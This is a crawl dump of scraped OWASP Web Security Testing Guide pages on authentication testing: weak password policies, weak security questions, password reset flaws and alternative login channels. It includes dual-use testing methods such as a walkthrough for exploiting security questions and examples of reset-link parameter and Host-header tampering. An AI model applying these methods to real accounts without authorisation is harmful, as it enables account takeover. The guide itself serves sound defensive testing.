"https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/07-Weak_Authentication_Methods", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/07-Weak_Authentication_Methods", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "04-Authentication"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Weak Authentication Methods"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n# Weak Authentication Methods\n\n| ID |\n| --- |\n| WSTG-ATHN-07 |\n\n## Summary\n\nThe most prevalent and most easily administered authentication mechanism is a static password. The password represents the keys to the kingdom, but is often subverted by users in the name of usability. In each of the recent high profile hacks that have revealed user credentials, it is lamented that most common passwords are still: `123456`, `password` and `qwerty`.\n\nAdditionally, applications may utilize alternative credentials that are treated the same as a password, but are considerably weaker, such as a birthdates, social security numbers, PINs, or security questions. In some scenarios, these more easily guessed credentials may act as the only user supplied value for authentication.\n\n## Test Objectives\n\n- Determine the resistance of the application against brute force password guessing using available password dictionaries by evaluating the length, complexity, reuse, and aging requirements of passwords.\n\n## How to Test\n\n1. What characters are permitted and forbidden for use within a password? Is the user required to use characters from different character sets such as lower and uppercase letters, digits and special symbols?\n2. How often can a user change their password? How quickly can a user change their password after a previous change? Users may bypass password history requirements by changing their password 5 times in a row so that after the last password change they have configured their initial password again.\n3. When must a user change their password?\n - Both [NIST](https://pages.nist.gov/800-63-3/sp800-63b.html#memsecretver) and [NCSC](https://www.ncsc.gov.uk/collection/passwords/updating-your-approach#PasswordGuidance:UpdatingYourApproach-Don'tenforceregularpasswordexpiry) recommend **against** forcing regular password expiry, although it may be required by standards such as PCI DSS.\n4. How often can a user reuse a password? Does the application maintain a history of the user’s previous used 8 passwords?\n5. How different must the next password be from the last password?\n6. Is the user prevented from using his username or other account information (such as first or last name) in the password?\n7. What are the minimum and maximum password lengths that can be set, and are they appropriate for the sensitivity of the account and application?\n8. Is it possible to set common passwords such as `Password1` or `123456` ?\n9. Is the credential chosen for the user by the application, such as a social security number or a birthdate? Is the credential that’s utilized in lieu of a standard password easily obtainable, predictable, or susceptible to brute-force attacks?\n\n## Remediation\n\nTo mitigate the risk of easily guessed passwords facilitating unauthorized access there are two solutions: introduce additional authentication controls (i.e. two-factor authentication) or introduce a strong password policy. The simplest and cheapest of these is the introduction of a strong password policy that ensures password length, complexity, reuse and aging; although ideally both of them should be implemented.\n\n## References\n\n- [Brute Force Attacks](https://owasp.org/www-community/attacks/Brute_force_attack)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 3276, "slov": 470, "odkazu": 203, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:27", "sha256": "a0c26542f5ffd60002517f15eb64d338ac78fdab2a7f0d23481cac5d97f1a850", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://pages.nist.gov/800-63-3/sp800-63b.html", "https://www.ncsc.gov.uk/collection/passwords/updating-your-approach", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/08-Weak_Security_Question_Answer", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/08-Weak_Security_Question_Answer", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/08-Weak_Security_Question_Answer", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "04-Authentication"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Weak Security Question Answer"}, {"uroven": 2, "text": "Summary"}, {"uroven": 3, "text": "Pre-generated Questions"}, {"uroven": 3, "text": "Self-generated Questions"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Weak Pre-generated Questions"}, {"uroven": 3, "text": "Weak Self-Generated Questions"}, {"uroven": 3, "text": "Brute-forcible Answers"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n# Weak Security Question Answer\n\n| ID |\n| --- |\n| WSTG-ATHN-08 |\n\n## Summary\n\nOften called “secret” questions and answers, security questions and answers are often used to recover forgotten passwords (see [weak password change or reset functionalities](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/09-Weak_Password_Change_or_Reset_Functionalities), or as extra security on top of the password.\n\nThey are typically generated upon account creation and require the user to select from some pre-generated questions and supply an appropriate answer. They may allow the user to generate their own question and answer pairs. Both methods are prone to insecurities. Ideally, security questions should generate answers that are only known by the user, and not guessable or discoverable by anybody else. This is harder than it sounds.\nSecurity questions and answers rely on the secrecy of the answer. Questions and answers should be chosen so that the answers are only known by the account holder. However, although a lot of answers may not be publicly known, most of the questions that sites implement promote answers that are pseudo-private.\n\n### Pre-generated Questions\n\nThe majority of pre-generated questions are fairly simplistic in nature and can lead to insecure answers. For example:\n\n- The answers may be known to family members or close friends of the user, e.g. “What is your mother’s maiden name?”, “What is your date of birth?”\n- The answers may be easily guessable, e.g. “What is your favorite color?”, “What is your favorite baseball team?”\n- The answers may be brute forcible, e.g. “What is the first name of your favorite high school teacher?” - the answer is probably on some easily downloadable lists of popular first names, and therefore a simple brute force attack can be scripted.\n- The answers may be publicly discoverable, e.g. “What is your favorite movie?” - the answer may easily be found on the user’s social media profile page.\n\n### Self-generated Questions\n\nThe problem with having users to generate their own questions is that it allows them to generate very insecure questions, or even bypass the whole point of having a security question in the first place. Here are some real world examples that illustrate this point:\n\n- “What is 1+1?”\n- “What is your username?”\n- “My password is S3curIty!”\n\n## Test Objectives\n\n- Determine the complexity and how straight-forward the questions are.\n- Assess possible user answers and brute force capabilities.\n\n## How to Test\n\n### Weak Pre-generated Questions\n\nTry to obtain a list of security questions by creating a new account or by following the “I don’t remember my password”-process. Try to generate as many questions as possible to get a good idea of the type of security questions that are asked. If any of the security questions fall in the categories described above, they are vulnerable to being attacked (guessed, brute-forced, available on social media, etc.).\n\n### Weak Self-Generated Questions\n\nTry to create security questions by creating a new account or by configuring your existing account’s password recovery properties. If the system allows the user to generate their own security questions, it is vulnerable to having insecure questions created. If the system uses the self-generated security questions during the forgotten password functionality and if usernames can be enumerated (see [Account Enumeration and Guessable User Account](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/03-Identity_Management/04-Account_Enumeration_and_Guessable_User_Account), then it should be easy for the tester to enumerate a number of self-generated questions. It should be expected to find several weak self-generated questions using this method.\n\n### Brute-forcible Answers\n\nUse the methods described in [Weak lock out mechanism](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/03-Weak_Lock_Out_Mechanism) to determine if a number of incorrectly supplied security answers trigger a lockout mechanism.\n\nThe first thing to take into consideration when trying to exploit security questions is the number of questions that need to be answered. The majority of applications only need the user to answer a single question, whereas some critical applications may require the user to answer two or even more questions.\n\nThe next step is to assess the strength of the security questions. Could the answers be obtained by a simple Google search or with social engineering attack? As a penetration tester, here is a step-by-step walkthrough of exploiting a security question scheme:\n\n- Does the application allow the end user to choose the question that needs to be answered? If so, focus on questions which have:\n - A “public” answer; for example, something that could be find with a simple search-engine query.\n - A factual answer such as a “first school” or other facts which can be looked up.\n - Few possible answers, such as “what model was your first car”. These questions would present the attacker with a short list of possible answers, and based on statistics the attacker could rank answers from most to least likely.\n- Determine how many guesses you have if possible.\n - Does the password reset allow unlimited attempts?\n - Is there a lockout period after X incorrect answers? Keep in mind that a lockout system can be a security problem in itself, as it can be exploited by an attacker to launch a Denial of Service against legitimate users.\n - Pick the appropriate question based on analysis from the above points, and do research to determine the most likely answers.\n\nThe key to successfully exploiting and bypassing a weak security question scheme is to find a question or set of questions which give the possibility of easily finding the answers. Always look for questions which can give you the greatest statistical chance of guessing the correct answer, if you are completely unsure of any of the answers. In the end, a security question scheme is only as strong as the weakest question.\n\n## References\n\n- [The Curse of the Secret Question](https://www.schneier.com/essay-081.html)\n- [The OWASP Security Questions Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Choosing_and_Using_Security_Questions_Cheat_Sheet.html)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 6430, "slov": 956, "odkazu": 202, "kodovani": "windows-1250", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:28", "sha256": "cc3eff114bffefee4ee50ff0ebda299f0e4c777cee2c17172b6b1371f48726e1", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.schneier.com/essay-081.html", "https://cheatsheetseries.owasp.org/cheatsheets/Choosing_and_Using_Security_Questions_Cheat_Sheet.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/09-Weak_Password_Change_or_Reset_Functionalities", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/09-Weak_Password_Change_or_Reset_Functionalities", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/09-Weak_Password_Change_or_Reset_Functionalities", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "04-Authentication"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Weak Password Change or Reset Functionalities"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Information Gathering"}, {"uroven": 3, "text": "General Concerns"}, {"uroven": 3, "text": "Email - New Password Sent"}, {"uroven": 3, "text": "Email - Link Sent"}, {"uroven": 3, "text": "Tokens Sent Over SMS or Phone Call"}, {"uroven": 3, "text": "Security Questions"}, {"uroven": 3, "text": "Authenticated Identity and Configuration Changes"}, {"uroven": 3, "text": "Authenticated Password Changes"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n# Weak Password Change or Reset Functionalities\n\n| ID |\n| --- |\n| WSTG-ATHN-09 |\n\n## Summary\n\nFor any application that requires the user to authenticate with a password, there must be a mechanism by which the user can regain access to their account if they forget their password. Although this can sometimes be a manual process that involves contacting the owner of the website or a support team, users are frequently allowed to carry out a self-service password reset, and to regain access to their account by providing some other evidence of their identity.\n\nAs this functionality provides a direct route to compromise the user’s account, it is crucial that it is implemented securely.\n\n## Test Objectives\n\n- Determine whether the password change and reset functionality allows accounts to be compromised.\n\n## How to Test\n\n### Information Gathering\n\nThe first step is to gather information about what mechanisms are available to allow the user to reset their password on the application. If there are multiple interfaces on the same site (such as a web interface, mobile application, and API) then these should all be reviewed, in case they provide different functionality.\n\nOnce this has been established, determine what information is required in order for a user to initiate a password reset. This can be the username or email address (both of which may be obtained from public information), but it could also be an internally-generated user ID.\n\n### General Concerns\n\nRegardless of the specific methods used to reset passwords, there are a number of common areas that need to be considered:\n\n- Is the password reset process weaker than the authentication process? The password reset process provides an alternative mechanism to access a user’s account, and so should be at least as secure as the usual authentication process. However, it can provide an easier way to compromise the account, especially if it uses weaker authentication factors such as security questions. Additionally, the password reset process may bypass the requirement to use Multi-Factor Authentication (MFA), which can substantially reduce the security of the application.\n- Is there rate limiting or other protection against automated attacks? As with any authentication mechanism, the password reset process should have protection against automated or brute-force attacks. There are a variety of different methods that can be used to achieve this, such as rate limiting or the use of CAPTCHA. These are particularly important on functionality that triggers external actions (such as sending an email or SMS), or when the user is entering a password reset token. It is also possible to protect against brute-force attacks by locking out the account from the password reset process after a certain number of consecutive attempts. This could also prevent a legitimate user from being able to reset their password and regain access to their account, however.\n- Is it vulnerable to common attacks? As well as the specific areas discussed in this guide, it’s also important to check for other common vulnerabilities such as SQL injection or cross-site scripting.\n- Does the reset process allow user enumeration? See the [Account Enumeration](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/03-Identity_Management/04-Account_Enumeration_and_Guessable_User_Account) guide for further information.\n\n### Email - New Password Sent\n\nIn this model, the user is sent a new password via email once they have proved their identity. This is considered less secure for two main reasons:\n\n- The password is sent to the user in an unencrypted form.\n- The password for the account is changed when the request is made, effectively locking the user out of their account until they receive the email. By making repeated requests, it is possible to prevent a user from being able to access their account.\n\nWhere this approach is used, the following areas should be reviewed:\n\n- Is the user forced to change the password on initial login? The new password is sent over unencrypted email, and may sit in the user’s inbox indefinitely if they don’t delete the email. As such, the user should be required to change the password as soon as they log in for the first time.\n- Is the password securely generated? The password should be generated using a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG), and should be sufficiently long to prevent password guessing or brute-force attacks. For a secure user-friendly experience, it should be generated using a secure passphrase-style approach (i.e, combining multiple words), rather than a string of random characters.\n- Is the user’s existing password sent to them? Rather than generating a new password for the user, some applications will send the user their existing password. This is a very insecure approach, as it exposes their current password over unencrypted email. Additionally, if the site is able to recover the existing password, this implies that passwords are either stored using reversible encryption, or (more likely) in unencrypted plain text, both of which represent a serious security weakness.\n- Are the emails sent from a domain with anti-spoofing protection? The domain should implement SPF, DKIM, and DMARC to prevent attackers from spoofing emails from it, which could be used as part of a social engineering attack.\n- Is email considered sufficiently secure? Emails are typically sent unencrypted, and in many cases the user’s email account will not be protected by MFA. It may also be shared between multiple individuals, particularly in a corporate environment. Consider whether email-based password reset functionality is appropriate, based on the context of the application that is being tested.\n\n### Email - Link Sent\n\nIn this model, the user is emailed a link that contains a token. They can then click this link, and are prompted to enter a new password on the site. This is the most common approach used for password reset, but is more complex to implement than the previously discussed approach. The key areas to test are:\n\n- Does the link use HTTPS? If the token is sent over unencrypted HTTP, it may be possible for an attacker to intercept it.\n- Can the link be used multiple times? Links should expire after they are used, otherwise they provide a persistent backdoor for the account.\n- Does the link expire if it remains unused? Links should be time limited. Exactly how long is appropriate will depend on the site, but it should rarely be more than an hour.\n- Is the token sufficiently long and random? The security of the process is entirely reliant on an attacker not being able to guess or brute-force a token. The tokens should be generated with a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG), and should be sufficiently long that it is impractical for an attacker to guess or brute-force. At least 128 bits (or 32 hex characters) is a sufficient minimum to make such an online attack impractical. Tokens should never be generated based on known values, such as by taking the MD5 hash of the user’s email with `md5($email)`, or using GUIDs which may use insecure PRNG functions, or may not even be random depending on the type. Testers should also verify how password reset tokens are stored on the server. If reset tokens are stored in plaintext in the database, an attacker who gains database access may be able to reuse them to reset user passwords. A more secure implementation stores a hashed version of the token and compares the hash during validation. An alternative approach to random tokens is to use a cryptographically signed token such as a JWT. In this case, the usual JWT checks should be carried out (is the signature verified, can the “nONe” algorithm be used, can the HMAC key be brute-forced, etc). See the [Testing JSON Web Tokens](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/10-JSON_Web_Tokens) guide for further information.\n- Does the link contain a user ID? Sometimes the password reset link may include a user ID as well as a token, such as `reset.php?userid=1&token=123456`. In this case, it may be possible to modify the `userid` parameter to reset other users’ passwords.\n- Can you inject a different host header? If the application trusts the value of the `Host` header and uses this to generate the password reset link, it may be possible to steal tokens by injecting a modified `Host` header into the request. See the [Host Header Injection](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/17-Host_Header_Injection) guide for further information.\n- Is the link exposed to third parties? Test whether the reset token can be exposed through the HTTP `Referer` header when the reset page loads third-party resources. When a password reset link contains the token in the URL, such as `https://example.com/reset?token=ABC123`, the token may be included in the HTTP `Referer` header when the page loads external resources such as analytics scripts, images, or JavaScript from third-party domains. Verify whether the reset token is leaked to external domains by inspecting network requests made by the reset page. If third-party domains receive the token, an attacker who controls those resources can capture it and reset the victim’s password.\n 1. Trigger a password reset request and open the reset link.\n 2. Inspect network requests using browser developer tools or an intercepting proxy such as Burp Suite or ZAP.\n 3. Identify requests made to external domains.\n 4. Check whether the full reset URL, including the token, appears in the `Referer` header of these requests.\n 5. Check whether the reset page sets an appropriate `Referrer-Policy` response header.\n- Are the emails sent from a domain with anti-spoofing protection? The domain should implement SPF, DKIM, and DMARC to prevent attackers from spoofing emails from it, which could be used as part of a social engineering attack.\n- Is email considered sufficiently secure? Emails are typically sent unencrypted, and in many cases the user’s email account will not be protected by MFA. It may also be shared between multiple individuals, particularly in a corporate environment. Consider whether email-based password reset functionality is appropriate, based on the context of the application that is being tested.\n\n### Tokens Sent Over SMS or Phone Call\n\nRather than sending a token in an email, an alternative approach is to send it via SMS or an automated phone call, which the user will then enter on the application. The key areas to test are:\n\n- Is the token sufficiently long and random? Tokens sent this way are typically shorter, as they are intended to be manually typed by the user, rather than being embedded in a link. It’s fairly common for applications to use six numeric digits, which only provides ~20 bits of security (feasible for an online brute-force attack), rather than the typically longer email token. This makes it much more important that the password reset functionality is protected against brute-force attacks.\n- Can the token be used multiple times? Tokens should be invalidated after they are used, otherwise they provide a persistent backdoor for the account.\n- Does the token expire if it remains unused? As the shorter tokens are more susceptible to brute-force attacks, a shorter expiration time should be implemented to limit the window available for an attacker to carry out an attack.\n- Are appropriate rate limiting and restrictions in place? Sending an SMS or triggering an automated phone call to a user is significantly more disruptive than sending an email, and could be used to harass a user, or even carry out a denial of service attack against their phone. The application should implement rate limiting to prevent this. Additionally, SMS messages and phone calls often incur financial costs for the sending party. If an attacker is able to cause a large number of messages to be sent, this could result in significant costs for the website operator. This is especially true if they are sent to international or premium rate numbers. However, allowing international numbers may be a requirement of the application.\n- Is SMS or a phone call considered sufficiently secure? [A variety of attacks](https://www.ncsc.gov.uk/guidance/protecting-sms-messages-used-in-critical-business-processes#section_4) have been demonstrated that would allow an attacker to effectively hijack SMS messages, there are conflicting views about whether SMS is sufficiently secure to be used as an authentication factor. It is usually possible to answer an automated phone call with physical access to a device, without needing any kind of PIN or fingerprint to unlock the phone. In some circumstances (such as a shared office environment), this could allow an internal attacker to trivially reset another user’s password by walking over to their desk when they are out of office. Consider whether SMS or automated phone calls are appropriate, based on the context of the application that is being tested.\n\n### Security Questions\n\nRather than sending them a link or new password, security questions can be used as a mechanism to authenticate the user. This is considered to be a weak approach, and should not be used if better options are available.\n\nSee the [Weak Security Questions](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/08-Weak_Security_Question_Answer) guide for further information.\n\n### Authenticated Identity and Configuration Changes\n\nIf the application supports the ability to modify an account’s primary identifier (such as an email address or phone number) that is utilized in the password change and reset functionalities the user should be forced to re-authenticate. When the primary identifier used in the password change functionality is able to be modified without re-authentication it allows the re-authentication in the password change functionality to be bypassed. Overall, anything that impacts the security of the account (email, MFA, backup settings, etc.) should require re-authentication before it can be modified.\n\nFor example: An application has a password reset flow that sends a reset link to the account’s email address. The application also requires re-authentication if the password is attempted to be changed from the perspective of an authenticated user. If an attacker gains access to the account (via a stolen cookie, physical access to the computer, etc.) and changes the account’s email address without needing to re-authenticate, then the password reset flow can be used to change the password, bypassing the authenticated password change flow.\n\n### Authenticated Password Changes\n\nOnce the user has proved their identity (either through a password reset link, a recovery code, or by logging in on the application) they should be able to change their password. The key areas to test are:\n\n- When setting the password, can you specify the user ID? If the user ID is included in the password reset request and is not validated, it may be possible to modify it and change other users’ passwords.\n- Is the user required to re-authenticate? If a logged-in user tries to change their password, they should be asked to re-authenticate with their current password in order to protect against an attacker gaining temporary access to an unattended session. If the user has MFA enabled, then they would typically re-authenticate with that, rather than their password.\n- Is the password change form vulnerable to CSRF? If the user isn’t required to re-authenticate, then it may be possible to carry out a CSRF attack against the password reset form, allowing their account to be compromised. See the [Cross-Site Request Forgery](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/05-Cross_Site_Request_Forgery) guide for further information.\n- Is a strong and effective password policy applied? The password policy should be consistent across the registration, password change, and password reset functionality. See the [Weak Authentication Methods](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/07-Weak_Authentication_Methods) guide for further information.\n\n## Remediation\n\nEnsure that:\n\n- Password change and reset flows are at least as strong as normal authentication and cannot bypass MFA.\n- Reset tokens are high-entropy, single-use, short-lived, and stored hashed; reset links use HTTPS and are not built from an untrusted `Host` header.\n- Reset pages do not leak tokens to third parties via the `Referer` header; set an appropriate `Referrer-Policy` and avoid third-party resources on those pages. See [Other HTTP Security Header Misconfigurations](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/14-Other_HTTP_Security_Header_Misconfigurations) .\n- Rate limiting, re-authentication for sensitive account changes, CSRF protection, and a consistent password policy are applied.\n\n## References\n\n- [OWASP Forgot Password Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 17275, "slov": 2678, "odkazu": 202, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:29", "sha256": "cfb5d3c9b339e6580e0eeb87cffe5561fa385ca4e7aaf0285a0dba16f31294ed", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.ncsc.gov.uk/guidance/protecting-sms-messages-used-in-critical-business-processes", "https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/10-Weaker_Authentication_in_Alternative_Channel", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/10-Weaker_Authentication_in_Alternative_Channel", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/10-Weaker_Authentication_in_Alternative_Channel", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "04-Authentication"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Weaker Authentication in Alternative Channel"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Example"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Understand the Primary Mechanism"}, {"uroven": 3, "text": "Identify Other Channels"}, {"uroven": 3, "text": "Enumerate Authentication Functionality"}, {"uroven": 3, "text": "Review and Test"}, {"uroven": 2, "text": "Remediation"}], "markdown": "# WSTG - Latest\n\n# Weaker Authentication in Alternative Channel\n\n| ID |\n| --- |\n| WSTG-ATHN-10 |\n\n## Summary\n\nEven if the primary authentication mechanisms do not include any vulnerabilities, it may be that vulnerabilities exist in alternative legitimate authentication user channels for the same user accounts. Tests should be undertaken to identify alternative channels and, subject to test scoping, identify vulnerabilities.\n\nThe alternative user interaction channels could be utilized to circumvent the primary channel, or expose information that can then be used to assist an attack against the primary channel. Some of these channels may themselves be separate web applications using different hostnames or paths. For example:\n\n- Standard website\n- Mobile, or specific device, optimized website\n- Accessibility optimized website\n- Alternative country and language websites\n- Parallel websites that utilize the same user accounts (e.g. another website offering different functionally of the same organization, a partner website with which user accounts are shared)\n- Development, test, UAT and staging versions of the standard website\n\nBut they could also be other types of application or business processes:\n\n- Mobile device app\n- Desktop application\n- Call center operators\n- Interactive voice response or phone tree systems\n\nBear in mind the focus of this test is on alternative channels; some authentication alternatives might appear as different content delivered via the same website and would almost certainly be in scope for testing. These are not discussed further here, and should have been identified during information gathering and primary authentication testing. For example:\n\n- Progressive enrichment and graceful degradation that change functionality\n- Site use without cookies\n- Site use without JavaScript\n- Site use without plugins such as for Flash and Java\n\nEven if the scope of the test does not allow the alternative channels to be tested, their existence should be documented. These may undermine the degree of assurance in the authentication mechanisms and may be a precursor to additional testing.\n\n## Example\n\nThe primary website is `https://www.example.com` and authentication functions always take place on pages using TLS `https://www.example.com/myaccount/`.\n\nHowever, a separate mobile-optimized website exists that does not use TLS at all, and has a weaker password recovery mechanism `https://m.example.com/myaccount/`.\n\n## Test Objectives\n\n- Identify alternative authentication channels.\n- Assess the security measures used and if any bypasses exists on the alternative channels.\n\n## How to Test\n\n### Understand the Primary Mechanism\n\nFully test the website’s primary authentication functions. This should identify how accounts are issued, created or changed and how passwords are recovered, reset, or changed. Additionally knowledge of any elevated privilege authentication and authentication protection measures should be known. These precursors are necessary to be able to compare with any alternative channels.\n\n### Identify Other Channels\n\nOther channels can be found by using the following methods:\n\n- Reading site content, especially the home page, contact us, help pages, support articles and FAQs, T&Cs, privacy notices, the robots.txt file and any sitemap.xml files.\n- Searching HTTP proxy logs, recorded during previous information gathering and testing, for strings such as “mobile”, “Android”, blackberry”, “ipad”, “iphone”, “mobile app”, “e-reader”, “wireless”, “auth”, “sso”, “single sign on” in URL paths and body content.\n- Use search engines to find different websites from the same organization, or using the same domain name, that have similar home page content or which also have authentication mechanisms.\n\nFor each possible channel confirm whether user accounts are shared across these, or provide access to the same or similar functionality.\n\n### Enumerate Authentication Functionality\n\nFor each alternative channel where user accounts or functionality are shared, identify if all the authentication functions of the primary channel are available, and if anything extra exists. It may be useful to create a grid like the one below:\n\n| Primary | Mobile | Call Center | Partner Website |\n| --- | --- | --- | --- |\n| Register | Yes | - | - |\n| Log in | Yes | Yes | Yes(SSO) |\n| Log out | - | - | - |\n| Password reset | Yes | Yes | - |\n| - | Change password | - | - |\n\nIn this example, mobile has an extra function “change password” but does not offer “log out”. A limited number of tasks are also possible by phoning the call center. Call centers can be interesting, because their identity confirmation checks might be weaker than the website’s, allowing this channel to be used to aid an attack against a user’s account.\n\nWhile enumerating these it is worth taking note of how session management is undertaken, in case there is overlap across any channels (e.g. cookies scoped to the same parent domain name, concurrent sessions allowed across channels, but not on the same channel).\n\n### Review and Test\n\nAlternative channels should be mentioned in the testing report, even if they are marked as “information only” or “out of scope”. In some cases the test scope might include the alternative channel (e.g. because it is just another path on the target hostname), or may be added to the scope after discussion with the owners of all the channels. If testing is permitted and authorized, all the other authentication tests in this guide should then be performed, and compared against the primary channel.\n\nThe test cases for all the other authentication tests should be utilized.\n\n## Remediation\n\nEnsure a consistent authentication policy is applied across all channels so that they are equally secure.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 5737, "slov": 827, "odkazu": 200, "kodovani": "windows-1250", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", 